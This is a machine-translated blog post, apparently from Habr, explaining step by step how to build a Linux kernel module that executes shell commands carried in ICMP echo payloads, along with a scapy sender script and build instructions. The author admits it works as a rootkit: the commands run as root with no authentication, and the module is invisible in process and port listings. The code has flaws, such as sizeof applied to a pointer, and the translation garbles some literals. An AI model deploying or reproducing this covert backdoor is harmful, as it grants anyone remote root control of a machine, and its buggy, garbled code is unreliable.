Proyectil nuclear sobre ICMP

Proyectil nuclear sobre ICMP

TL; DR: Estoy escribiendo un módulo del kernel que leerá comandos de la carga útil ICMP y los ejecutará en el servidor incluso si su SSH falla. Para los más impacientes, todo el código está gitHub.

¡Cuidado! ¡Los programadores experimentados en C corren el riesgo de estallar en lágrimas de sangre! Puede que incluso me equivoque en la terminología, pero cualquier crítica es bienvenida. La publicación está destinada a aquellos que tienen una idea muy aproximada de la programación en C y quieren profundizar en el interior de Linux.

En los comentarios a mi primera статье mencionó SoftEther VPN, que puede imitar algunos protocolos "normales", en particular HTTPS, ICMP e incluso DNS. Puedo imaginarme solo el primero de ellos funcionando, ya que estoy muy familiarizado con HTTP(S) y tuve que aprender a hacer túneles sobre ICMP y DNS.

Proyectil nuclear sobre ICMP

Sí, en 2020 aprendí que se puede insertar una carga útil arbitraria en paquetes ICMP. ¡Pero más vale tarde que nunca! Y como se puede hacer algo al respecto, es necesario hacerlo. Dado que en mi vida diaria uso con mayor frecuencia la línea de comando, incluso a través de SSH, lo primero que me vino a la mente fue la idea de un shell ICMP. Y para poder montar un bingo bullshield completo, decidí escribirlo como un módulo de Linux en un lenguaje del que sólo tengo una idea aproximada. Dicho shell no será visible en la lista de procesos, puede cargarlo en el kernel y no estará en el sistema de archivos, no verá nada sospechoso en la lista de puertos de escucha. En términos de sus capacidades, este es un rootkit completo, pero espero mejorarlo y usarlo como shell de último recurso cuando el promedio de carga sea demasiado alto para iniciar sesión a través de SSH y ejecutar al menos echo i > /proc/sysrq-triggerpara restaurar el acceso sin reiniciar.

Llevamos un editor de textos, conocimientos básicos de programación en Python y C, Google y virtual que no te importa pasar por el quirófano si todo se rompe (opcional: VirtualBox/KVM/etc local) y ¡vamos!

Lado del cliente

Me pareció que por parte del cliente tendría que escribir un guión de unas 80 líneas, pero hubo gente amable que lo hizo por mí. todo el trabajo. El código resultó ser inesperadamente simple y se divide en 10 líneas significativas:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

El script toma dos argumentos, una dirección y una carga útil. Antes de enviar, la carga útil está precedida por una clave. run:, lo necesitaremos para excluir paquetes con cargas útiles aleatorias.

El kernel requiere privilegios para crear paquetes, por lo que el script deberá ejecutarse como superusuario. No olvide otorgar permisos de ejecución e instalar scapy. Debian tiene un paquete llamado python3-scapy. Ahora puedes comprobar cómo funciona todo.

Ejecutar y generar el comando
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Así se ve en el sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

La carga útil en el paquete de respuesta no cambia.

módulo del núcleo

Para construir una máquina virtual Debian necesitará al menos make и linux-headers-amd64, el resto vendrá en forma de dependencias. No proporcionaré el código completo en el artículo; puedes clonarlo en Github.

Configuración del gancho

Para empezar, necesitamos dos funciones para cargar el módulo y descargarlo. La función de descarga no es necesaria, pero luego rmmod no funcionará, el módulo sólo se descargará cuando esté apagado.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Que está pasando aqui:

  1. Se introducen dos archivos de encabezado para manipular el módulo en sí y el filtro de red.
  2. Todas las operaciones pasan por un filtro de red, puede configurar ganchos en él. Para hacer esto, debe declarar la estructura en la que se configurará el gancho. Lo más importante es especificar la función que se ejecutará como gancho: nfho.hook = icmp_cmd_executor; Llegaré a la función en sí más tarde.
    Luego configuro el tiempo de procesamiento del paquete: NF_INET_PRE_ROUTING especifica procesar el paquete cuando aparece por primera vez en el kernel. Puede ser usado NF_INET_POST_ROUTING para procesar el paquete cuando sale del kernel.
    Configuré el filtro en IPv4: nfho.pf = PF_INET;.
    Le doy a mi gancho la máxima prioridad: nfho.priority = NF_IP_PRI_FIRST;
    Y registro la estructura de datos como el gancho real: nf_register_net_hook(&init_net, &nfho);
  3. La función final elimina el gancho.
  4. La licencia está claramente indicada para que el compilador no se queje.
  5. funciones module_init() и module_exit() Configure otras funciones para inicializar y finalizar el módulo.

Recuperando la carga útil

Ahora necesitamos extraer la carga útil, esta resultó ser la tarea más difícil. El kernel no tiene funciones integradas para trabajar con cargas útiles; solo puede analizar encabezados de protocolos de nivel superior.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Que pasa

  1. Tuve que incluir archivos de encabezado adicionales, esta vez para manipular los encabezados IP e ICMP.
  2. Establecí la longitud máxima de línea: #define MAX_CMD_LEN 1976. ¿Por qué exactamente esto? ¡Porque el compilador se queja! Ya me han sugerido que necesito entender la pila y el montón, algún día definitivamente haré esto y tal vez incluso corrija el código. Inmediatamente configuro la línea que contendrá el comando: char cmd_string[MAX_CMD_LEN];. Debería estar visible en todas las funciones; hablaré de esto con más detalle en el párrafo 9.
  3. Ahora necesitamos inicializar (struct work_struct my_work;) estructurarlo y conectarlo con otra función (DECLARE_WORK(my_work, work_handler);). También hablaré de por qué esto es necesario en el noveno párrafo.
  4. Ahora declaro una función, que será un gancho. El tipo y los argumentos aceptados los dicta el netfilter, solo nos interesa skb. Se trata de un búfer de socket, una estructura de datos fundamental que contiene toda la información disponible sobre un paquete.
  5. Para que la función funcione, necesitará dos estructuras y varias variables, incluidos dos iteradores.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Podemos empezar con la lógica. Para que el módulo funcione, no se necesitan más paquetes que ICMP Echo, por lo que analizamos el búfer usando funciones integradas y descartamos todos los paquetes que no son ICMP ni Echo. Devolver NF_ACCEPT significa aceptación del paquete, pero también puede dejar los paquetes devolviéndolos NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    No he probado qué sucederá sin verificar los encabezados de IP. Mi conocimiento mínimo de C me dice que sin comprobaciones adicionales, algo terrible sucederá. ¡Me alegraré si me disuades de esto!

  7. Ahora que el paquete es del tipo exacto que necesita, puede extraer los datos. Sin una función incorporada, primero debe obtener un puntero al comienzo de la carga útil. Esto se hace en un solo lugar, debe llevar el puntero al comienzo del encabezado ICMP y moverlo al tamaño de este encabezado. Todo usa estructura. icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    El final del encabezado debe coincidir con el final de la carga útil en skb, por tanto lo obtenemos por medios nucleares a partir de la estructura correspondiente: tail = skb_tail_pointer(skb);.

    Proyectil nuclear sobre ICMP

    la foto fue robada por lo tanto, puede leer más sobre el búfer de socket.

  8. Una vez que tenga punteros al principio y al final, puede copiar los datos en una cadena. cmd_string, verifique la presencia de un prefijo run: y descarte el paquete si falta o vuelva a escribir la línea, eliminando este prefijo.
  9. Eso es todo, ahora puedes llamar a otro controlador: schedule_work(&my_work);. Dado que no será posible pasar un parámetro a dicha llamada, la línea con el comando debe ser global. schedule_work() colocará la función asociada con la estructura pasada en la cola general del programador de tareas y la completará, lo que le permitirá no esperar a que se complete el comando. Esto es necesario porque el anzuelo debe ser muy rápido. De lo contrario, su elección es que no se inicie nada o entrará en pánico en el kernel. ¡La demora es como la muerte!
  10. Eso es todo, puedes aceptar el paquete con la devolución correspondiente.

Llamar a un programa en el espacio de usuario

Esta función es la más comprensible. Su nombre fue dado en DECLARE_WORK(), el tipo y los argumentos aceptados no son interesantes. Tomamos la línea con el comando y la pasamos entera al shell. Déjelo que se ocupe del análisis, la búsqueda de binarios y todo lo demás.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Establecer los argumentos en una matriz de cadenas. argv[]. Supongo que todo el mundo sabe que los programas se ejecutan de esta manera y no como una línea continua con espacios.
  2. Establecer variables de entorno. Inserté solo RUTA con un conjunto mínimo de rutas, esperando que ya estuvieran todas combinadas. /bin с /usr/bin и /sbin с /usr/sbin. Otros caminos rara vez importan en la práctica.
  3. Listo, ¡hagámoslo! función del núcleo call_usermodehelper() acepta la entrada. ruta al binario, conjunto de argumentos, conjunto de variables de entorno. Aquí también asumo que todos entienden el significado de pasar la ruta al archivo ejecutable como un argumento separado, pero puedes preguntar. El último argumento especifica si se debe esperar a que se complete el proceso (UMH_WAIT_PROC), inicio del proceso (UMH_WAIT_EXEC) o no esperar en absoluto (UMH_NO_WAIT). ¿Hay algo más? UMH_KILLABLE, No lo investigué.

asamblea

El ensamblaje de los módulos del kernel se realiza a través del make-framework del kernel. Llamado make dentro de un directorio especial vinculado a la versión del kernel (definido aquí: KERNELDIR:=/lib/modules/$(shell uname -r)/build), y la ubicación del módulo se pasa a la variable M en los argumentos. El icmpshell.ko y los objetivos limpios utilizan este marco por completo. EN obj-m Indica el archivo objeto que se convertirá en un módulo. Sintaxis que rehace main.o в icmpshell.o (icmpshell-objs = main.o) no me parece muy lógico, pero que así sea.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Nosotros coleccionamos: make. Cargando: insmod icmpshell.ko. Listo, puedes comprobar: sudo ./send.py 45.11.26.232 "date > /tmp/test". Si tiene un archivo en su máquina /tmp/test y contiene la fecha en que se envió la solicitud, lo que significa que usted hizo todo bien y yo hice todo bien.

Conclusión

Mi primera experiencia con el desarrollo nuclear fue mucho más fácil de lo que esperaba. Incluso sin experiencia desarrollando en C, centrándome en las sugerencias del compilador y los resultados de Google, pude escribir un módulo funcional y sentirme como un hacker del kernel y, al mismo tiempo, un niño de scripts. Además, fui al canal Kernel Newbies, donde me dijeron que usara schedule_work() en lugar de llamar call_usermodehelper() dentro del propio anzuelo y lo avergonzó, sospechando con razón una estafa. Cien líneas de código me costaron aproximadamente una semana de desarrollo en mi tiempo libre. Una experiencia exitosa que destruyó mi mito personal sobre la abrumadora complejidad del desarrollo de sistemas.

Si alguien acepta hacer una revisión del código en Github, se lo agradeceré. Estoy bastante seguro de que cometí muchos errores estúpidos, especialmente cuando trabajaba con cuerdas.

Proyectil nuclear sobre ICMP

Fuente: habr.com

Añadir un comentario